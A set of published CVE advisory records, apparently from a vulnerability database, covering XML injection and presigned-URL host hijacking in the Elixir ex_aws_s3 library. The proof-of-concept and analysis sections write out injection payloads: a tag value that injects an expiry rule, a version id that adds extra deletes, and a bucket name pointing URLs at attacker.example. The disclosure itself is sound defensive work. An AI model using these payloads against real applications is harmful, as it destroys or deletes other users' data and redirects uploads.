                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:H",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-91",
                  "description": "CWE-91 XML Injection",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:14:58.243Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-pcgv-phrm-r85v"
            },
            {
              "name": "EEF CNA record for CVE-2026-63583",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-63583.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-63583",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-63583"
            },
            {
              "name": "Introducing commit 34a3f1b in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/34a3f1b264bd9a28d68fa98173af7085da72a15b"
            },
            {
              "name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "XML injection in ExAws.S3.Utils.build_lifecycle_rule/1 in ex_aws_s3",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eApplications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Applications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure."
                }
              ],
              "value": "Applications can escape or strictly validate any untrusted value before passing it into a lifecycle rule field (the rule id, filter prefix, tag key or value, storage class, or noncurrent-version count) so that XML metacharacters cannot alter the request structure."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eA multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: \u003ccode\u003eExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u0026gt; ExAws.request(config)\u003c/code\u003e with \u003ccode\u003efilter: %{tags: [{\"team\", value}]}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe tenant sets the tag value to \u003ccode\u003efrontend\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;/Filter\u0026gt;\u0026lt;Expiration\u0026gt;\u0026lt;Days\u0026gt;1\u0026lt;/Days\u0026gt;\u0026lt;/Expiration\u0026gt;\u0026lt;Filter\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;team\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;frontend\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuild_lifecycle_rule/1\u003c/code\u003e interpolates it unescaped into the request body.\u003c/li\u003e\n\u003cli\u003eThe body S3 receives contains \u003ccode\u003e//Rule/Expiration/Days\u003c/code\u003e equal to \u003ccode\u003e1\u003c/code\u003e: an injected action that expires the bucket\u0027s objects after one day.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. A multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: `ExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u003e ExAws.request(config)` with `filter: %{tags: [{\"team\", value}]}`.\n2. The tenant sets the tag value to `frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend`.\n3. `build_lifecycle_rule/1` interpolates it unescaped into the request body.\n4. The body S3 receives contains `//Rule/Expiration/Days` equal to `1`: an injected action that expires the bucket\u0027s objects after one day."
                }
              ],
              "value": "* A multi-tenant application mirrors tenant-supplied object tags into an S3 lifecycle rule: ExAws.S3.put_bucket_lifecycle(\"tenant-bucket\", [rule]) |\u003e ExAws.request(config) with filter: %{tags: [{\"team\", value}]}.\n* The tenant sets the tag value to frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend.\n* build_lifecycle_rule/1 interpolates it unescaped into the request body.\n* The body S3 receives contains //Rule/Expiration/Days equal to 1: an injected action that expires the bucket\u0027s objects after one day."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003ebuild_lifecycle_rule/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e builds each text node of the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e body by raw string interpolation: the rule \u003ccode\u003eid\u003c/code\u003e, the filter \u003ccode\u003eprefix\u003c/code\u003e, tag \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003evalue\u003c/code\u003e, the \u003ccode\u003estorage\u003c/code\u003e class and \u003ccode\u003enewer_noncurrent_versions\u003c/code\u003e. None is XML-escaped or validated before \u003ccode\u003eIO.iodata_to_binary/1\u003c/code\u003e flattens the body.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e A value containing XML metacharacters is emitted verbatim. A tag value such as \u003ccode\u003efrontend\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;/Filter\u0026gt;\u0026lt;Expiration\u0026gt;\u0026lt;Days\u0026gt;1\u0026lt;/Days\u0026gt;\u0026lt;/Expiration\u0026gt;\u0026lt;Filter\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;team\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;frontend\u003c/code\u003e closes the \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e, injects an \u003ccode\u003e\u0026lt;Expiration\u0026gt;\u003c/code\u003e action and reopens a \u003ccode\u003e\u0026lt;Filter\u0026gt;\u003c/code\u003e, so the rest of the document stays well-formed. The same technique can close and reopen \u003ccode\u003e\u0026lt;Rule\u0026gt;\u003c/code\u003e to append a separate rule.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Delivery.\u003c/strong\u003e The public entry point \u003ccode\u003eExAws.S3.put_bucket_lifecycle/2\u003c/code\u003e flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with \u003ccode\u003eExAws.request/2\u003c/code\u003e.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Unescaped interpolation.** `build_lifecycle_rule/1` in `lib/ex_aws/s3/utils.ex` builds each text node of the `PutBucketLifecycleConfiguration` body by raw string interpolation: the rule `id`, the filter `prefix`, tag `key` and `value`, the `storage` class and `newer_noncurrent_versions`. None is XML-escaped or validated before `IO.iodata_to_binary/1` flattens the body.\n\n**2. Element break-out.** A value containing XML metacharacters is emitted verbatim. A tag value such as `frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend` closes the `\u003cValue\u003e`, injects an `\u003cExpiration\u003e` action and reopens a `\u003cFilter\u003e`, so the rest of the document stays well-formed. The same technique can close and reopen `\u003cRule\u003e` to append a separate rule.\n\n**3. Delivery.** The public entry point `ExAws.S3.put_bucket_lifecycle/2` flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with `ExAws.request/2`."
                }
              ],
              "value": "1. Unescaped interpolation. build_lifecycle_rule/1 in lib/ex_aws/s3/utils.ex builds each text node of the PutBucketLifecycleConfiguration body by raw string interpolation: the rule id, the filter prefix, tag key and value, the storage class and newer_noncurrent_versions. None is XML-escaped or validated before IO.iodata_to_binary/1 flattens the body.\n\n2. Element break-out. A value containing XML metacharacters is emitted verbatim. A tag value such as frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend closes the \u003cValue\u003e, injects an \u003cExpiration\u003e action and reopens a \u003cFilter\u003e, so the rest of the document stays well-formed. The same technique can close and reopen \u003cRule\u003e to append a separate rule.\n\n3. Delivery. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with ExAws.request/2."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-63583",
        "datePublished": "2026-11-24T14:14:58.243Z",
        "dateReserved": "2026-07-17T04:14:44.351Z",
        "dateUpdated": "2026-11-24T14:14:58.243Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-131902 (GCVE-0-2026-131902)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-25 20:07
    VLAI
    Title
    XML injection via unescaped VersionId in ExAws.S3.delete_multiple_objects/3
    Summary
    XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to ExAws.S3.delete_multiple_objects/3 to add objects to the batch delete. delete_multiple_objects/3 in lib/ex_aws/s3.ex builds the <Delete> request body by placing each object's version between <VersionId> tags without XML escaping. A version such as v1</VersionId></Object><Object><Key>important-file</Key></Object><Object><Key>x</Key><VersionId>v2 closes the caller's object and opens new ones, so S3 deletes objects the application never listed, including other users' objects in the same bucket. This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-11-25 20:07 UTC
    CWE
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.0.0 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_s3 Affected: 4ce4d72219c0cb8de9356278203d8ea780311b75 , < eda0b9b9c63707f7db8d8f18c331df7fda57c397 (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:13
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-131902",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-11-25T20:07:05.887699Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-11-25T20:07:32.875Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://osv.dev/vulnerability/EEF-CVE-2026-131902"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:delete_multiple_objects/3"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.0.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:delete_multiple_objects/3"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
                  "status": "affected",
                  "version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eReachable only when the application passes a version id derived, even partially, from untrusted input to \u003ccode\u003eExAws.S3.delete_multiple_objects/3\u003c/code\u003e, for example a service that lets users delete a specific object version by id.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Reachable only when the application passes a version id derived, even partially, from untrusted input to `ExAws.S3.delete_multiple_objects/3`, for example a service that lets users delete a specific object version by id."
                }
              ],
              "value": "Reachable only when the application passes a version id derived, even partially, from untrusted input to ExAws.S3.delete_multiple_objects/3, for example a service that lets users delete a specific object version by id."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.0.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "dateAssigned": "2026-11-24T14:13:22.000Z",
          "datePublic": "2026-11-24T14:13:43.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to \u003ccode\u003eExAws.S3.delete_multiple_objects/3\u003c/code\u003e to add objects to the batch delete.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e request body by placing each object\u0027s \u003ccode\u003eversion\u003c/code\u003e between \u003ccode\u003e\u0026lt;VersionId\u0026gt;\u003c/code\u003e tags without XML escaping. A version such as \u003ccode\u003ev1\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;important-file\u0026lt;/Key\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;x\u0026lt;/Key\u0026gt;\u0026lt;VersionId\u0026gt;v2\u003c/code\u003e closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to `ExAws.S3.delete_multiple_objects/3` to add objects to the batch delete.\n\n`delete_multiple_objects/3` in `lib/ex_aws/s3.ex` builds the `\u003cDelete\u003e` request body by placing each object\u0027s `version` between `\u003cVersionId\u003e` tags without XML escaping. A version such as `v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2` closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
                }
              ],
              "value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to ExAws.S3.delete_multiple_objects/3 to add objects to the batch delete.\n\ndelete_multiple_objects/3 in lib/ex_aws/s3.ex builds the \u003cDelete\u003e request body by placing each object\u0027s version between \u003cVersionId\u003e tags without XML escaping. A version such as v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2 closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-250",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who controls a version id passed to \u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who controls a version id passed to `delete_multiple_objects/3` can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected."
                    }
                  ],
                  "value": "An attacker who controls a version id passed to delete_multiple_objects/3 can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 5.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-91",
                  "description": "CWE-91 XML Injection",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:13:43.953Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Unescaped VersionId in delete_multiple_objects: XML injection",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-mwxg-gfj8-x32v"
            },
            {
              "name": "EEF CNA record for CVE-2026-131902",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-131902.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-131902",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-131902"
            },
            {
              "name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
            },
            {
              "name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "XML injection via unescaped VersionId in ExAws.S3.delete_multiple_objects/3",
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn application lets a user delete a version of their own object and calls \u003ccode\u003eExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}])\u003c/code\u003e with the user\u0027s \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003eversion\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sends the key \u003ccode\u003emy-own-file\u003c/code\u003e and the version \u003ccode\u003ev1\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;important-file\u0026lt;/Key\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;x\u0026lt;/Key\u0026gt;\u0026lt;VersionId\u0026gt;v2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e interpolates the version unescaped into the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e body.\u003c/li\u003e\n\u003cli\u003eThe body contains three \u003ccode\u003e\u0026lt;Object\u0026gt;\u003c/code\u003e entries, one of them \u003ccode\u003eimportant-file\u003c/code\u003e, which S3 deletes although the user never named it.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application lets a user delete a version of their own object and calls `ExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}])` with the user\u0027s `key` and `version`.\n2. The attacker sends the key `my-own-file` and the version `v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2`.\n3. `delete_multiple_objects/3` interpolates the version unescaped into the `\u003cDelete\u003e` body.\n4. The body contains three `\u003cObject\u003e` entries, one of them `important-file`, which S3 deletes although the user never named it."
                }
              ],
              "value": "* An application lets a user delete a version of their own object and calls ExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}]) with the user\u0027s key and version.\n* The attacker sends the key my-own-file and the version v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2.\n* delete_multiple_objects/3 interpolates the version unescaped into the \u003cDelete\u003e body.\n* The body contains three \u003cObject\u003e entries, one of them important-file, which S3 deletes although the user never named it."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Selective escaping.\u003c/strong\u003e When \u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e body, it escapes each object\u0027s key with \u003ccode\u003eescape_xml_string/1\u003c/code\u003e but emits the version from the same tuple raw: \u003ccode\u003e\"\u0026lt;VersionId\u0026gt;\", version, \"\u0026lt;/VersionId\u0026gt;\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e XML metacharacters in \u003ccode\u003eversion\u003c/code\u003e are read as markup. A value beginning \u003ccode\u003e\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u003c/code\u003e closes the current object early, and the rest of the string can open further \u003ccode\u003e\u0026lt;Object\u0026gt;...\u0026lt;/Object\u0026gt;\u003c/code\u003e elements while keeping the document well-formed.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Extra deletes.\u003c/strong\u003e The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Selective escaping.** When `delete_multiple_objects/3` in `lib/ex_aws/s3.ex` builds the `\u003cDelete\u003e` body, it escapes each object\u0027s key with `escape_xml_string/1` but emits the version from the same tuple raw: `\"\u003cVersionId\u003e\", version, \"\u003c/VersionId\u003e\"`.\n\n**2. Element break-out.** XML metacharacters in `version` are read as markup. A value beginning `\u003c/VersionId\u003e\u003c/Object\u003e` closes the current object early, and the rest of the string can open further `\u003cObject\u003e...\u003c/Object\u003e` elements while keeping the document well-formed.\n\n**3. Extra deletes.** The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket."
                }
              ],
              "value": "1. Selective escaping. When delete_multiple_objects/3 in lib/ex_aws/s3.ex builds the \u003cDelete\u003e body, it escapes each object\u0027s key with escape_xml_string/1 but emits the version from the same tuple raw: \"\u003cVersionId\u003e\", version, \"\u003c/VersionId\u003e\".\n\n2. Element break-out. XML metacharacters in version are read as markup. A value beginning \u003c/VersionId\u003e\u003c/Object\u003e closes the current object early, and the rest of the string can open further \u003cObject\u003e...\u003c/Object\u003e elements while keeping the document well-formed.\n\n3. Extra deletes. The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-131902",
        "datePublished": "2026-11-24T14:13:43.953Z",
        "dateReserved": "2026-11-24T13:01:43.723Z",
        "dateUpdated": "2026-11-25T20:07:32.875Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-63582 (GCVE-0-2026-63582)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
    VLAI
    Title
    S3 bucket name controls the host of presigned URLs in ex_aws_s3
    Summary
    Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice. With virtual_host: true, s3_accelerate: true or bucket_as_host: true, ExAws.S3.presigned_url/5 and ExAws.S3.presigned_post/4 build the URL from the bucket name without checking it. A bucket such as attacker.example/x? turns the URL into https://attacker.example/x?.s3.amazonaws.com..., and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker's host, and every such URL discloses the access key id. With bucket_as_host: true any valid hostname works as the bucket name. This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
    CWE
    • CWE-610 - Externally Controlled Reference to a Resource in Another Sphere
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.0.0 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
